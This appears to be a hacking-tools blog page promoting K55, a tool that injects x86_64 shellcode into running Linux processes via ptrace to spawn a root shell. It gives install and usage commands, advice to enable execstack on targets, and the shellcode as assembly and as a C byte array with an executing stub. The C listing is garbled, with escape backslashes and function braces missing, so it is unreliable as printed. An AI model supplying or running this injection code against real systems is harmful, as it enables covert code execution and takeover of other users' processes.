K55 - Linux X86_64 Process Injection Utility | Manipulate Processes With Customized Payloads

K55 – Linux X86_64 Process Injection Utility | Manipulate Processes With Customized Payloads

(pronounced: “kay fifty-five”)
The K55 payload injection tool is used for injecting x86_64 shellcode payloads into running processes. The utility was developed using modern C++11 techniques as well as some traditional C linux functions like ptrace(). The shellcode spawned in the target process is 27 bytes and it executes /bin/sh (spawns a bash shell) within the target’s address space. In the future, I will allow users to input there own shellcode via command line arguments.


  1. git clone https://github.com/josh0xA/K55.git
  2. cd K55
  3. chmod +x build-install.sh
  4. ./build-install.sh

K55 Usage

Usage: ./K55 <process-name>

  • process-name can be any linux process with r-xp or execstack permissions.


Test 1) In one terminal (K55/ Directory), run: ./k55_example_process/k55_test_process
Test 2) In another terminal, run the injector: ./K55 k55_test_process

K55 In Action

  • A shell is spawned in k55_test_process when the K55 shellcode injector is ran (as root).

Injecting Into Given Process


Shell Spawned In Target


Obviously, ptrace(PTRACE_POKETEXT...) calls are not the most disguised. So, some applications can limit the effect of K55. Although, for security testing, make sure to turn on execstack for your target applications. For example if I’m testing on gdb, before I would inject, I would run the following: sudo execstack -s /usr/bin/gdb. Install execstack from you distrobutions package manager. For Arch Linux users, you can find execstack on the AUR.

Crafting The Shell Payload

Note: The following is a demonstration. The payload string is already hardcoded into K55.

Assembly Implementation of The Payload (Cited from shell-storm (redirect))

xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
push rsp
pop rdi
push rdx
push rdi
push rsp
pop rsi
mov al, 0x3b

C-Implementation of The Payload

#include <stdio.h>
#include <string.h>

// Shellcode breakdown of the assembly code.
char code[] = "x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05";

int main()
printf("len:%d bytesn", strlen(code));
(*(void(*)()) code)();
return 0;



Leave a Reply

Your email address will not be published.

Special Offer for Hackers!Sign up to get your $5 Coupon code, weekly deals and latest hacking tools straight to your inbox!